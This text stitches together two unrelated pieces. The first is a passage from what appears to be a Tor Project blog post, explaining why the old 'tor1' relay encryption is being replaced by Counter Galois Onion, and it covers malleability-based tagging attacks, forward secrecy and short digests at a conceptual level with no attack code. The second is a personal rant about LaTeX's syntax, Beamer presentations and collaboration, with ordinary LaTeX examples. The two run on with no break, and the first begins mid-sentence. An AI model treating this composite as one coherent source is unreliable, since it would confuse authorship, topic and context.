(AES-128-CTR in Tor's case) multiple times
to encrypt the cell for each relay.
If we simplify
a lot
,
then a relay cell looks a little like this:
Field
Width
Zero
2 bytes
Digest
4 bytes
Other stuff
...
The "zero" field is there so that nodes other than the exit
can avoid checking the digest:
If a relay gets a cell with a value other than zero,
then it can tell that it isn't the recipient of that cell,
so it doesn't need to check the digest:
it just decrypts the cell and forwards it to the next relay.
When we designed this algorithm,
we didn't give it a name.
Now that we're replacing it,
it helps to have some way to identify it,
so we're calling it "tor1".
Figure 1. The tor1 encryption algorithm, as used at a middle layer.
The input is a message M.
A counter CTR is expanded via a psueodrandom function (PRF, instantiated with
AES-128-CTR), to produce a stream of bytes.
These bytes are xored with M to produce a ciphertext C.
Figure 2: The tor1 encryption algorithm, as used to originate a message.
The message M is mixed with the hash state HS, and a portion of the digest
is appended to the message. The whole thing is then xored with the PRF
(AES-128-CTR) to produce our ciphertext C.
Wait, that design looks funny!
Yeah, you wouldn't build it that way nowadays, would you?
That's why we're replacing it.
Existing designs weren't suitable for Tor's needs.
The original
onion routing paper
didn't specify a means for authentication.
Designs like
mixmaster
and
mixminion
were optimized for larger message sizes,
and required a separate full digest
for every
possible
layer of encryption.
(For example, Mixmaster supported up to 20 remailers,
so had to reserve space for 20 digests (and other stuff)
in
every message
.)
Some of the "weird things" in the current tor1 design
are outdated, but not
awful
;
others are things that are more valuable to resolve.
So, what
are
the problems with the tor1 design?
There are a few. First the big one:
Problem 1: Tagging attacks
Tagging attacks enable an active adversary to trace traffic
by modifying it in one place on the network,
and observing predicatable changes in another.
Even when tagging attacks don't succeed immediately,
their side effects can give the attacker more and more
opportunities to retry.
This is the most important attack we're solving with CGO.
Even without the other problems below,
this one would be worth fixing on its own.
The main version of this attack arises
because tor1's use of AES-CTR encryption
with no hop-by-hop authentication
means that the relay encryption is
malleable
.
Since
counter mode
derives its ciphertext C
by XORing a secret key stream S
with the plaintext P (C = S ⊕ P),
an attacker who can XOR their own pattern M in to the ciphertext
will produce C' = (S ⊕ P) ⊕ M = S ⊕ (P ⊕ M) — that is,
a valid encryption of (P ⊕ M).
An attacker can use this attack
to ensure that they control both ends of the circuit.
They XOR a pattern onto a cell at one end,
and then see if any garbled cells at the other end
become clear when whey remove that same pattern.
Any circuits with an honest endpoint will fail (and not be deanonymized),
but the client will retry them until they eventually
choose a malicious endpoint.
If the attacker chooses a known-plaintext portion of the relay cell for their marker
(such as the header or slack zero space),
then they can use their marker to communicate an identifier across the circuit,
by retrieving it at the end:
M = (P ⊕ M) ⊕ P.
M can then be used to transmit an IP address or unique identifier for the user.
In comparison to probabilistic traffic correlation,
this attack provides definite results immediately,
with a strength multiplier:
it also allows the attacker to ensure that all the traffic
they successfully carry is fully deanonymized,
before the circuit is used for any application traffic at all.
The downside for the attacker is that the resulting failure rate of circuits
can be detected by the client.
Currently, Tor clients emit log notices and warnings when circuit failure rates
are excessively high.
Unfortunately, as vigilant users have noticed,
when the DDoS attacks on Tor become severe, these detectors give false alarms.
This class of attacks
(where an adversary is able to abuse the Tor Protocol
to transmit information between relays
before
application activity)
is known as
Internal Covert Channel attacks
.
Tor is in the process of
updating its threat model
to cover these attack vectors explicitly,
along with
two other categories
of attack vectors.
Problem 2: Forward secrecy begins when a circuit closes
This attack and the one after it are much less severe
than the tagging attack above;
we mention them for the sake of completeness.
In many modern online protocols,
including messaging apps like
Signal
,
the keys used to decrypt a message are destroyed
as soon as the message is decrypted,
so that nobody can steal them and use them later on.
But Tor's old encryption algorithm (tor1)
doesn't provide this property:
the same AES keys are used for the entire life of the circuit.
That means that if a key was stolen while the circuit was still alive,
all previous traffic on the circuit could be decrypted.
When a circuit's lifetime is on the order of minutes,
that's not so bad,
but sometimes circuits stay around for days.
(What's more, longer-lived circuits may be better for anonymity,
especially when the user is maintaining a persistent identity,
so it's a good idea to make them stronger.)
Although this attack is minor in comparison to the tagging issue,
we may as well address it while we are updating our encryption.
Problem 3: A 4-byte authenticator? Seriously?
Yeah, that's not great. The use of a mere 4-byte digest means that there's a
one-in-4-billion chance to forge a cell undetected.
That isn't a very good attack in practice:
if the attacker
doesn't
get lucky with their guess,
then their invalid message causes the circuit to fail,
and they can't try again unless the client builds another
circuit through them.
The same
pathbias
mechanisms
that help resist tagging attacks also help here,
but it would be better not to need them.
(Also, it's using SHA-1, which is showing its age, to say the least.
2
)
So, how did we think about replacing this in the past?
We've wanted to replace this algorithm a few times,
but we've been hung up on issues of design and efficiency.
We definitely don't want to follow remailer designs
by adding one authenticator per layer of encryption:
that way lies big overhead.
If we tried something
like that with onion services, we'd be devoting something like 15% of our
bandwidth to authenticator fields.
One promising design element has been
wide-block ciphers
:
these are ciphers (or modes of using ciphers)
that encrypt an entire message as if it were
a single opaque block:
any change in the ciphertext garbles the entire message
as if it were a single block in a regular block cipher.
You can make a wide-block cipher into an authenticated cipher
by reserving some portion of the plaintext
for a known value -- say, 16 bytes of zeros.
But most wide-block cipher designs are comparatively expensive.
Nearly all
of the strong ones (
BEARESS, LIONESS
,
biIGE
,
HHFHFH
)
require two full encryptions and
two hashes over the data.
Newer modes like
HCTR2
require only one encryption pass,
but still need two hashes.
(For comparison: tor1 requires 3 encryptions and one hash
for a cell on a 3-hop circuit,
whereas one of these designs requires on the order
of 6 encryptions and 6 hashes.)
We're willing to pay
some
CPU cost for improved cryptography
(and we should expect to pay some cost,
since authentication doesn't come for free)
but we need to keep the cost to a minimum.
Now, multiple passes are necessary for any wide-block design:
it's provable that there's no way to make sure that changing any bit
will potentially garble every other bit
unless there are at least two passes.
But we'd like to make these passes as cheap as possible!
There has also been excellent work on other wide-block designs built from scratch,
rather than from an underlying cipher (notably
AEZ
).
What are we going with?
For years now,
cryptographers have been looking for good solutions here.
Jean Paul Degabriele
,
Alessandro Melloni
,
Jean-Pierre Münch
,
and
Martijn Stam
have a design that they're calling
Counter Galois Onion
(CGO).
It's based on a kind of construction called a
Rugged Pseudorandom Permutation
(RPRP):
essentially,
it's a design for a wide-block cipher that resists malleability
in one direction (for the encrypt operation, but not the decrypt operation).
If we deploy this so that clients always decrypt
and relays always encrypt,
then we have a tagging resistant
3
cipher
at less cost than a full SPRP!
Using a RPRP that they call UIV+ (see the
paper
),
the authors achieve all of our goals
(tagging resistance,
immediate forward secrecy,
longer authentication tags,
limited bandwidth overhead,
relatively efficient operation,
and modernized cryptography).
(Shortly before this blog post went up, they revised their paper
and released a new
security proof
.)
We've written a
specification
which matches their paper
and their reference implementation.
How does it work?
CGO makes it so that if anybody tampers with any part of your
encrypted data, the entire message, and all future messages,
become unrecoverable.
Here's how!
(If you don't like reading cipher diagrams, you may want to skip this section.
And if you
really
like reading them,
you should check out the
specification
and the
paper
!)
The figures below present the UIV+ building block, and show how it is used
to build CGO encryption.
Figure 3: UIV+ encryption
The input X is split into two parts: A short X_L, and a longer X_R.
X_R, and a "tweak" value H, are themselves passed as tweaks
to a tweakable block cipher
E_T (instantiated with
LRW2
),
which is then used used to encrypt X_L.
The output of this encryption seeds a PRF, which is xored into X_R
to encrypt it.
Figure 4: Middle-layer CGO encryption.
CGO treats every message as a 16-byte tag T, and a 493-byte ciphertext C.
These are passed as X_L and X_R to the UIV+ encryption algorithm above.
The tweak value (H in UIV+) is here called T':
each cell's "T" value, after encryption, is taken as the T' for the next cell.
Figure 5: Originating a CGO message
When _originating_ the message, CGO initializes its tag as a nonce value N.
The value of N, _and the encryption keys_, are all transformed using an
"Update" algorithm as the message is encrypted.
The new N, and the new encryption keys, will be used to encrypt the next cell.
Okay, but how does all of this cryptography solve the problems we began with?
First (and most importantly)
tagging attacks
are prevented by two factors:
When encrypting
4
,
the message is transformed in a wide-block construction, so that
any change to the input renders the entire output unrecoverable.
The chaining of T' and N values means that a message's encryption
depends on
all previous messages
, so if a single message is garbled,
all subsequent messages will be unrecoverable.
Second,
forward secrecy
is achieved with the Update construction in figure 5.
Every time a new cell is originated or received,
the keys used to originate or receive it are transformed unrecoverably,
so that the encryptor/decryptor no longer holds the keys necessary to decrypt
earlier cells.
Third, the
truncated digest
is now replaced with a nice long 16-byte
authenticator, like sensible people use.
Aside: What if we're wrong?
CGO is a fairly new design, and it's reasonable to ask
whether there could be weaknesses in it that would make it
worse than it's designed to be.
I'd answer: There might be!
Attacks only get better with time, and although the cryptographers
behind CGO are skilled and well regarded,
even the best cryptographers can make mistakes.
There
is
a
security proof
, but it's fairly recent,
and and it hasn't yet gotten intensive scrutiny.
With time, as CGO gets attention from more cryptographers,
we'll (hopefully) gain more confidence in its strength.
(And if we do decide that we need to replace it,
the work we've done to add it to Arti and the C Tor implementation
will make it much easier to do a later migration
to a different system later on.)
But what we
are
pretty sure about
is that there aren't likely to be any weaknesses in CGO
that would make it
worse
than tor1.
Where does our implementation stand?
It's underway!
We've implemented the cryptography for Arti,
the Rust Tor implementation.
We've also implemented it in C,
since it won't do us any good unless relays support it too,
and the Arti relay project is still a work in progress.
In order to build this implementation,
we've had to refactor a lot of code to revise its existing assumptions:
for example, we've had to revise all the places
where we assumed anything about the layout of a relay cell,
or where we assumed that there was only one way to do relay encryption.
These changes will help us with any other changes to
relay cell formatting and encryption in the future.
Our next steps are:
Enable CGO by default in Arti.
(It's currently marked as experimental because of some
of its dependencies.)
Implement CGO negotiation for onion services.
(This feature is likely to be be Arti-only,
due to its complexity.)
Tune the performance for modern CPUs.
(The CGO authors got impressively good results for their
optimized implementation,
but some of the tricks they used will be pretty hard to deliver
in the C Tor implementation
without big refactoring.
Fortunately, there are some low-hanging fruit
in optimizing what we have today.)
Thanks for your help!
Thanks to all the cryptographers, programmers, researchers,
and cypherpunks who have contributed to this work over the years.
Thanks also to all the researchers who have advanced this work,
and the state of modern cryptography;
we all stand on the work they have built.
And thanks to Mike Perry for helping me write this
and get the parts of the threat model right.
And finally, thanks to everybody who has donated to Tor over the years!
A lot of this work is done through a grant from the
Bureau of Democracy, Human Rights, and Labor
,
but many critical parts of this work
(including years of past groundwork,
and all the parts related to onion services)
have been paid for out of our unrestricted funds,
which rely on donors like you.
Thanks for believing in our mission,
and thanks for helping to make Tor better!
<3
While LaTeX is rightfully praised for its qualities, its (sometimes obvious) flaws are often ignored or downplayed.
The learning curve is quite steep and its usability is far from optimal.
Is it even worth it to learn LaTeX?
What kind of work can we realistically get done using it?
Are there alternatives?
When do we really need LaTeX?
IMPORTANT
All throughout this post I will use the name “LaTeX” to refer to the holistic view on the system for creating documents including the TeX typesetting system, LaTeX macros, associated distributions (pdfTex, XeTeX, etc.) and common editors.
This post is aiming to provide a critical view, mainly highlighting problems and shortcomings.
It is not meant as a fair assessment of the pros and cons.
This is a rant; you have been warned.
To start the discussion I first want to go into my experience with LaTeX.
Perfect Typesetting Made Easy?
My history with LaTeX started over 10 years ago.
I was fed up with WYSIWYG editors after working with Microsoft Word 2007 for a while.
Images constantly jumping around, formatting randomly breaking when content changes and no easy way to manipulate the fundamental style of a document after its creation.
“There
must
be a better way,” I thought.
And a better way there was.
The Promise…
After looking around online I stumbled upon LaTeX which was praised as the perfect alternative to visual editors.
The promise was simple.
Don’t worry about formatting or typesetting, just worry about your writing!
Design and content are separated and defaults are not just sane, but virtually optimal.
Obviously, I started learning LaTeX and started using it for everything.
School work, letters, applications, CVs, presentations, later university work, random manuscripts, software documentation, white papers and any other kind of written document.
Why use an visual editor to create diagrams when there is
TikZ
?
Why worry about using proprietary editors when LaTeX distributions are open-source, cross-platform and you can use any editor you like?
It seemed to me that LaTeX was the ultimate way of constructing any document.
Why learn different document editors or even a publishing software like
InDesign
when everything can be done with one unified interface?
…meets Reality
I woke up from this dream when I tried to design a quote template for a small business I had.
Designing a document with an address section, small table and some bank details in its footer that didn’t look pretentious was almost impossible.
Changing fonts families and sizes?
Changing spacing in a table?
An utter chore.
At this point I tried something new and redid the document in LibreOffice Writer.
It looked much better… and was done in a fraction of the time even though I had virtually no idea how to use Writer.
1
Of course, this was only a small setback in my journey.
My first real dissatisfaction arose when using LaTeX for its
intended
use case:
Large documents.
While writing both my bachelor’s and master’s thesis I have gotten to know the good and some of the bad parts of LaTeX quite well.
I started noticing that the bad, annoying and productivity-destroying parts where harder and harder to ignore.
However, I was still convinced that it is the best way to construct documents.
When starting work on
my book
, I was surprised that my publisher wasn’t using LaTeX but
AsciiDoc
.
This obviously didn’t compute with me at first.
However, after working with AsciiDoc for way over a year now it made me rethink many problems that an author has to face when using LaTeX.
I want to highlight these problems in the following sections starting with my greatest pain point.
Handling the Syntax
The syntax of LaTeX is weirdly verbose yet unspecific, very expressive yet cryptic and, while trying to make the job of the author easier, a nightmare to type quickly.
I think this is one of the major problems of adopting LaTeX for most people.
What Am I Reading?
The source of a LaTeX document is hard to read.
By that I don’t mean the physical act of reading the letters on the screen but ascertaining the overall structure of a document just from looking at the source.
A LaTeX document consists of many varied control structures that act interdependently.
Some change the formatting, some change the font characteristics and many of them add completely new features.
Every package that is added to the document adds its own commands and environments with their own rules.
Reading something you haven’t written yourself is puzzling.
The readability is worsened by the
absurd number of symbol control sequences
present.
You cannot simply copy an UTF-8 symbol from the web into your document.
You cannot just type Wörds with umlauts and expect them to work.
You want to include the
€
symbol?
Well, that requires a
special package import
for it to work and you will have to write it like so:
\euro{}
.
Every triviality has its numerous hoops to jump through.
It also doesn’t help that LaTeX mixes imperative and declarative styles in its language.
While most directives work declaratively, like environments, others have to be used in the correct sequence.
Examples for imperative directives are font sizes (
\tiny
,
\Large
, etc.), spaces (
\vspace
,
\stretch
, etc.) and fills (
\hfill
,
\vfill
).
Font style (
\textbf
,
\textit
, etc.) is done declaratively, however.
This leads to bizarre syntax like this:
\Huge% Set text size to "Huge"
\begin{center}% Begin centering
Title % Only this is centered
\end{center}% End centering
\vspace{10pt}% Add vertical space
\Large% Set text size to "Large"
\noindent% Do not indent the next line
\textbf{Lorem ipsum} dolor sit amet, % Set the first two words to bold
\normalsize% The following text is normal sized
consectetur adipiscing elit. % Just normal text
However, this can be cleaned up slightly by defining a scope for directives such as
\Huge
.
We then end up with this snippet, which is not much better:
{\Huge% Begin "Huge" text size
\begin{center}% Start centering
Title % Only this is centered
\end{center}% End centering
}% End "Huge" text size
\vspace{10pt}% Add vertical space
\noindent% Do not indent the next line
{\Large% Begin "Large" text size
\textbf{Lorem ipsum} dolor sit amet, % Set the first two words to bold
}% End "Large" text size
consectetur adipiscing elit. % Just normal text
While this might be an artificial and exaggerated example it aims to highlight the inherent problem of the syntax.
Each command needs to be evaluated based on where in the code it shows up and what it is surrounded by.
For example,
\noindent
only works if there is no space between it and the next line.
\noindent% This works
I am not indented.
\noindent% This also works
% This comment doesn't count as a blank line
I am also not indented.
\noindent% This doesn't work
I am indented.
In complex documents it is simply not possible to accurately surmise how different directives act on the structure. The complexity is augmented by interdependence between packages leading to confusion on how they change the behavior of other packages like in this example:
\usepackage{hyperref}\usepackage{cleveref}% Has to be loaded after hyperref!
hyperref
is a prime candidate for this problem as can be seen
here
.
This problem worsens when we take into account how code from different packages interacts.
As a trivial example, one might look at problems that arises when using figures and the
multicol
package.
To quote
Overleaf
:
Floats in the
multicol
package are poorly supported in the current version. Elements inserted with the conventional
figure
and
table
environments will show up only at the top or bottom of the next page after they are inserted, and will break the layout.
However, when the question of how included packages work is solved the problems are only beginning.
Let’s look at bloated syntax for basic lists.
Verbose Environments
enumerate
and
itemize
provide
very
simple functionality with inanely complicated syntax.
Their job is to define a simple list, either with numbers or bullet points.
The problem comes in the way they are written down.
Every list has to be wrapped in a special environment.
\begin{enumerate}\item First
\item Second
\item Third
\end{enumerate}
This seems fine at first until you realize that in nested lists, you have to define an environment inside an environment and each subsequent sub-list has to have its own
begin
and
end
.
\begin{enumerate}\item First
\begin{enumerate}\item First Sub
\item Second Sub
\end{enumerate}\item Second
\begin{enumerate}\item Third Sub
\item Fourth Sub
\end{enumerate}\end{enumerate}
In WYSIWYG editors writing such lists is easy, intuitive and can be navigated really quickly with simple keyboard shortcuts.
In Markdown-like languages, it’s even easier.
* First
* First Sub
* Second Sub
* Second
* Third Sub
* Fourth Sub
The syntax for environments, be it for lists, text-alignment, figures, tables, code listings, and almost anything else is simply cumbersome.
While configured editors can help with automatically completing the syntax it is still hard to edit existing constructs.
Error Proneness
Let’s look at what can go wrong with these environments:
While trying to compile this, pdfTeX will tell us that an error occurred:
! LaTeX Error: \begin{itemize} on input line 5 ended by \end{document}.
See the LaTeX manual or LaTeX Companion for explanation.
Type H <return> for immediate help.
...
l.12 \end{document}Your command was ignored.
Type I <command> <return> to replace it with another command,
or <return> to continue without it.
However, if you have configured your build chain to ignore such errors (or you are using Overleaf which does so by default!) you will get a result regardless.
This file will be converted into a list that looks like this:
Foo
Bar
This might not seem that bad at first.
However, it becomes incredibly confusing once the error occurs in a larger document.
What happens after we add another
itemize
environment after the first one?
What will happen now?
Just from looking at the code, we might conclude that the second top-level
itemize
environment will start a new list.
Sadly, this is not the case.
While we will be presented with the same error as before, the result will look like this:
Foo
Bar
Baz
Very confusing and a complete nightmare if such an error went unchecked in a large document.
It does not help that the error message points us to the wrong
itemize
environment.
The problem occurs for the environment in line 7, not in line 5.
A beginner might be completely left in the dark when trying to figure out what went wrong with their document.
The Problem of Ubiquity
This problem is amplified by the fact that environments are used for practically
everything
.
They are the main control structure in LaTeX documents.
We cannot get around using them and we are forced having to work around creating large nested environment monsters.
Luckily, we can define aliases for these environments or even wrap them in a simple command.
Here is a little example for a command that creates a slide with two independently scaled images in a Beamer presentation:
This can make working with environments slightly simpler.
However, now all the complexity of environments is hidden away and might lead to problems laters.
For example, what if a code listing (
lstlisting
environment) is used?
It turns out you cannot just simply use that in a Beamer presentation without using
fragile
frames.
This leads to completely incomprehensible problems later down the line.
Custom commands and environments are inherently not portable without a lot of extra work put into them.
While this might be a fine tradeoff for package authors on CTAN, it is a horrible cost for an author to bare.
The portability issues get even worse when looking at document specific configurations.
Taking Control over Document Style
The pervasive promise of LaTeX is that the actual content and its formatting are separated.
Here is a quote from the
LaTeX-Project’s about page
.
LaTeX is not a word processor! Instead, LaTeX encourages authors not to worry too much about the appearance of their documents but to concentrate on getting the right content. […] LaTeX is based on the idea that it is better to leave document design to document designers, and to let authors get on with writing documents.
There are two problems with this promise:
It’s broken in most documents
The author often
is
the designer
First, let’s take a look at the first point.
Package configurations
It is not uncommon to find code like this at the start of many LaTeX documents:
In the first five lines, the
hyperref
package is included and configured to use
blue
as its link color.
The following lines define colors and a style for code listings.
This is the first break of our promise.
Setting up packages correctly is not handled externally, but in the document the author is concerned with.
Of course, these configuration could be put in a special
settings.tex
or
preamble.tex
file which is included in the main TeX file, but what if the author wants to add more packages?
The main problem here is that LaTeX files
combine
formatting and content.
It does not work like HTML and CSS, where HTML is used for the structure and CSS is used for the style of a document.
While LaTeX has its own style files (
.cls
and
.sty
) the separation doesn’t work as well, since these files are used to determine the structure of the content beforehand.
This can be read about
here
:
In the ideal case, a class file will completely define the structure of the document. The familiar
article
class is a good example: it provides commands for typesetting articles, such as
\section
,
\tableofcontents
,
\author
and so on.
This means that our content files are inherently linked to predefined structure, making them not portable.
Turning a normal article to a book, a book to a presentation, or a presentation to an article becomes cumbersome and forces the
author
to think about formatting and technical details.
Depending on how your file is later used,
you
as the
author
have to make sure that certain formatting is taken care of.
Sometimes, page numbers have to be explicitly disabled (using
\pagestyle{empty}
) or the document is restrained to using a fixed selection of packages.
This forces the author to write down content differently.
For example, it makes a big difference wether
listings
or
minted
is used to support code listings and the author is forced to adhere to control structures of the used package.
In document preparation systems like AsciiDoc such features have a much more
simple interface
which leaves the actual formatting applied at the end to internal settings of the AsciiDoc processor; far away from the author.
Outside of professionally published books, the author fundamentally has to worry about the design of their document.
In doctoral theses, academic papers and presentations the author is tasked with making sure that the document looks good and readable.
Even though LaTeX is very good at keeping a document readable, it cannot work wonders.
Aesthetic decisions like line height, font type or margins and paddings around inserted graphics often need work and cannot be left to the machine to figure out.
LaTeX has mostly sane defaults for all of these parameters.
Thus it is very opinionated.
You can ask it nicely to put a figure at a certain position in the document but without some work the typesetter is allowed to simply ignore your request.
Manually overriding these decision makes the source even more unreadable and much harder to deal with.
One way of taking control over the document is
overriding macros
like
\baselineskip
or
\parskip
to change the general look of the document.
Another method is using
\vspace
and
\hspace
to add (or even remove) space around certain elements.
The disadvantage of these methods is that the otherwise sane defaults now break down completely and the document becomes as fragile as your average WYSIWYG editor experience.
Now, we are once again forced to take the imperative document style into account, carefully evaluating when certain parameter changes hold true and when they don’t.
At this point the syntax of LaTeX makes it hard to figure out what is shown and the complicated logic running in the background make it almost impossible to gauge how anything will look.
It is this point where the clear advantage of applications such as LibreOffice Writer, Microsoft Word or Adobe InDesign become apparent.
LaTeX simply isn’t made to design anything.
If you don’t like its defaults you are simply out of luck.
Beamer Presentations
Beamer presentations are ugly.
They are so, so ugly.
Just look at the
default themes
.
They are pure visual clutter.
Useless progress indicators at the top, redundant information at the bottom, horrendous colors, ugly skewmorphic balls for bullet points, drop shadows from the 2000s, weird interactive navigation elements, which most people deactivate anyways;
all of it is awful.
2
Every fiber of my body screams in agony when I have to look at those ugly, ugly slides.
Using Beamer never felt right to me.
The presentations simply never looked good, no matter how hard I tried.
It seems that I am not the only one that tried.
A quick look at the
template collection
on Overleaf shows how many institutions and authors tried to make Beamer look good.
It cannot be a coincidence that most templates look like a stock template with an adjusted pallette.
As was already discussed, changing the design in LaTeX documents is hard.
Tip
One of the few templates that fixes a lot of problems found with Beamer is the
TU Delft presentation template
. I’m sure that after removing the logo, one could make a nice looking presentation with it.
I also tried my hand at creating a better presentation from the default templates.
When I was still in university I played around with a minimalist approach to presentation design, which was the only time I felt productive working with Beamer.
My solution to the design problem was to restrict myself to a fixed number of slide types:
Single image + caption
Two images + captions
Centered title
Equation
Quote
Then I could write commands that got the design of these slide types exactly right and applied the design rules to the content.
The presentation looks like
this
and here is the (poorly formatted
3
) source for it:
Presentation Source
1\documentclass[11pt]{beamer} 2\usetheme{Boadilla} 3\usepackage[utf8]{inputenc} 4\usepackage{amsmath} 5\usepackage{amsfonts} 6\usepackage{amssymb} 7\usepackage{varwidth} 8\usepackage{graphicx} 9\author{Philipp Hagenlocher} 10\title{Fermats letzter Satz und Andrew Wiles} 11\setbeamercovered{transparent} 12\date{12. Januar 2019} 13 14%gets rid of bottom navigation symbols
15\setbeamertemplate{navigation symbols}{} 16%gets rid of footer
17\setbeamertemplate{footline}{} 18 19\newenvironment{titleframe} 20{ 21\begin{frame}[plain]{} 22\LARGE 23\centering 24} 25{ 26\end{frame} 27} 28 29\newenvironment{citext} 30{ 31\begin{center} 32\begin{varwidth}{0.925\textwidth} 33} 34{ 35\end{varwidth} 36\end{center} 37} 38 39\newcommand{\grame}[3] { 40\begin{frame}{} 41\centering 42\begin{minipage}[b]{\linewidth} 43\centering 44\footnotesize 45\includegraphics[scale=#3]{Images/#1}\\ 46#2
47\end{minipage} 48\end{frame} 49} 50 51\newcommand{\gwome}[6] { 52\begin{frame}{} 53\centering 54\footnotesize 55\begin{minipage}[b]{0.45\linewidth} 56\centering 57\includegraphics[scale=#3]{Images/#1}\\ 58#2
59\end{minipage} 60\begin{minipage}[b]{0.45\linewidth} 61\centering 62\includegraphics[scale=#6]{Images/#4}\\ 63#5
64\end{minipage} 65\end{frame} 66} 67 68\newcommand{\trame}[1] { 69\begin{titleframe} 70#1
71\end{titleframe} 72} 73 74\newcommand{\erame}[1] { 75\begin{titleframe} 76\begin{equation*} 77#1
78\end{equation*} 79\end{titleframe} 80} 81 82\newcommand{\qrame}[1] { 83\begin{titleframe} 84\begin{citext} 85#1
86\end{citext} 87\end{titleframe} 88} 89 90\begin{document} 91 92\begin{frame} 93\titlepage 94\end{frame} 95 96\grame{wiles_conf.jpg}{Andrew Wiles (23. Juni 1993)}{1.2} 97\grame{fermat.jpg}{Pierre de Fermat}{0.5} 98\grame{diophantus.jpg}{Arithmetica von Diophantos (Edition aus 1621)}{0.34} 99\gwome{mersenne.jpg}{Marin Mersenne}{0.3}{pascal.jpg}{Blaise Pascal}{0.7}100\erame{n * \binom{n+m-1}{m-1} = m * \binom{n+m-1}{m}}101\erame{S_m(N) = \displaystyle\sum_{i=1}^{N} n^m}102\erame{a^p \equiv a \: (mod \: p)}103\grame{diophantus.jpg}{Arithmetica von Diophantos (Edition aus 1621)}{0.34}104\qrame{Es ist nicht möglich, einen Kubus in zwei Kuben, oder ein Biquadrat in zwei Biquadrate und allgemein eine Potenz, höher als die zweite, in zwei Potenzen mit demselben Exponenten zu zerlegen.}105\erame{x^n + y^n = z^n}106\erame{\forall_{n \in\{\mathbb{N}\setminus\{1,2\}\}}\not\exists_{x,y,z \in\mathbb{N}}\: . \: x^n + y^n = z^n}107\erame{x^4 + y^4 = z^4}108\erame{A_n \rightarrow A_m \: mit \: m<n}109\grame{euler.png}{Leonard Euler}{0.3}110\grame{germain.jpg}{Sophie Germain}{0.6}111\gwome{legendre.jpg}{Adrien-Marie Legendre}{0.4}{dirichlet.jpg}{Peter Gustav Lejeune Dirichlet}{0.4}112\grame{lame.jpg}{Gabriel Lamé}{0.3}113\grame{academy.jpg}{Darstellung der französischen Akademie der Wissenschaften (1698)}{0.4}114\gwome{lame.jpg}{Gabriel Lamé}{0.28}{cauchy.jpg}{Augustin-Louis Cauchy}{0.72}115\grame{kummer.jpg}{Ernst Kummer}{0.6}116\grame{wolfskehl.jpg}{Paul Wolfskehl}{0.533}117\qrame{Sehr geehrte/r .........................,\\\\ich danke Ihnen für Ihr Manuskript zum Beweis der Fermatschen Vermutung.\\Der erste Fehler findet sich auf:\\Seite .... Zeile ....\\Ihr Beweis ist daher wertlos.\\\\Professor E. M. Landau}118\grame{wiles_kid.jpg}{Andrew Wiles}{0.72}119\grame{wiles_young.jpg}{Andrew Wiles bei seiner Abschlussfeier}{1}120\erame{y^2 = x^3 + ax + b + c}121\gwome{taniyama.png}{Yutaka Taniyama}{2}{shimura.png}{Goro Shimura}{0.31}122\grame{frey.jpg}{Gerhard Frey}{0.6}123\erame{y^2 = x(x-a^n)(x+b^n)}124\grame{ribet.jpg}{Kenneth Alan "Ken" Ribet}{0.8}125\trame{}126\grame{wiles_port.jpg}{Andrew Wiles}{0.19}127\trame{L-Funktionen und Arithmetik}128\trame{Modulformen, elliptische Kurven und Galois-Darstellungen}129\grame{wiles_conf.jpg}{Andrew Wiles (23. Juni 1993)}{1.2}130\grame{katz.jpg}{Nicholas Michael "Nick" Katz}{0.3}131\grame{taylor.jpg}{Richard Taylor}{0.61}132\trame{}133\gwome{wiles_port2.jpg}{Andrew Wiles}{0.6}{fermat.jpg}{Pierre de Fermat}{0.45}134135\end{document}
Would I have been faster just using copy-paste in a WYSIWYG?
Maybe.
However, now I have a template to use for further presentations!
Too bad I don’t use Beamer anymore.
Collaboration & Efficiency
An important part of writing is collaboration.
For the most part, documents are not the product of a lone author, but many people adding content, designing elements and reviewing changes.
Sadly, LaTeX makes this essential part of authoring a complicated and frustrating endeavour.
“But I’m not a programmer!”
Most people without a background in computer technology look at LaTeX and think they are staring at the source code of a program.
4
LaTeX is a complex and unintuitive system and bringing in newcomers is hard work.
You cannot send a
.tex
file to a random contributor expecting they can work with it.
This is a death sentence for collaboration.
I am sure that the argument will be made that LaTeX is very frequently used in academia to collaborate on papers but that is a very poor argument.
It is no wonder that a homogenous group brought up in the very academic environment that champions the usage of LaTeX, is able to collaborate using it.
However, what if interdisciplinary teams need to work on the same document?
What if people outside of academia want to contribute?
Especially in business settings LaTeX has no reason to exist.
Nobody cares about pretty typesetting for mathematic formulas when all you need is to copy spreadsheets from one document to the other.
WYSIWYG editors are far superior when speed and efficiency is important and business is all about optimizing these two measures.
Interop? What Interop?
Office suites have an important property: Interoperability.
A chart created in Excel, can effortlessly be inserted into Word and automatically
receive updates
if the Excel file was changed.
When these files live on a NFS, collaboration is made easy.
Data scientists publish a CSV file of their data, a consultant links this data in Excel and creates a chart from it and a manager then links this chart into Word or PowerPoint to create presentation material.
Sounds like a nice little pipeline.
5
In LaTeX such a pipeline is hard to imagine without exporting results as images.
While
pandas
, the famous Python data analysis library, is capable of
exporting data as LaTeX tables
it is rare for a simple copy and paste to just work.
In this context, automation means scripting.
Get those
awk
and
sed
manpages out, we are going to need them when we want to automate anything using LaTeX.
Another problem is the integration of different data sources in the same document.
What about diagrams made with Mermaid or PlantUML?
AsciiDoctor allows to use
Kroki
to embed the output of a wide variety of different diagram rendering backends directly into documents.
A much more complicated toolchain can be built to even allow automatic exports to services such as Confluence.
6
Such an interoperability is hard to imagine with documents written with LaTeX.
And what about spellchecking or editorial style linting?
Most tools have no easy way of ignoring the numerous, custom control structures of LaTeX documents and will lead to false positivies.
While platforms like Overleaf have a built-in spellchecker that seems to be syntax aware, other open-source tools like
Vale
have no support for LaTeX and focus more on Markdown-based syntax.
That’s why LaTeX doesn’t even come up in discussions around the
documentation as code philosophy
, while languages like Markdown are used with static-site generators to automatically generate online documentation.
LaTeX has simply become to much of a monolithic burden as a document preparation software for it to be useful in this regard.
Slow results
In a study Knauf and Nejasmic find that Microsoft Word users (novices and experts alike) write content quicker and produce fewer formatting and content errors than their LaTeX using peers.
7
This is a pretty strong claim that has to be taken with a grain of salt.
The study uses a small sample size of 40 participants and a single experiment, where the tasks are to recreate three pieces of text in either Word or LaTeX:
Continuous text
A table
Text with equations
While this seems like a fair and balanced task we have to raise the question wether text reproduction can be used to evaluate efficiency of document preparation systems.
Nonetheless, the results from the study are interesting.
Not only did Word users outperform LaTeX users, they did so in two of three tasks.
While LaTeX users performed slightly better in reproducing a text with equations, they severly underperformed in the other tasks.
Word users were better at formatting a table and writing continuous text with less errors.
This result does not shock me.
Not only do LaTeX users have to deal with horrible syntax, they also face the problem of bad editor support, unpredictable feature interactions and no way to quickly inspect their output and
nudge
it in the right direction.
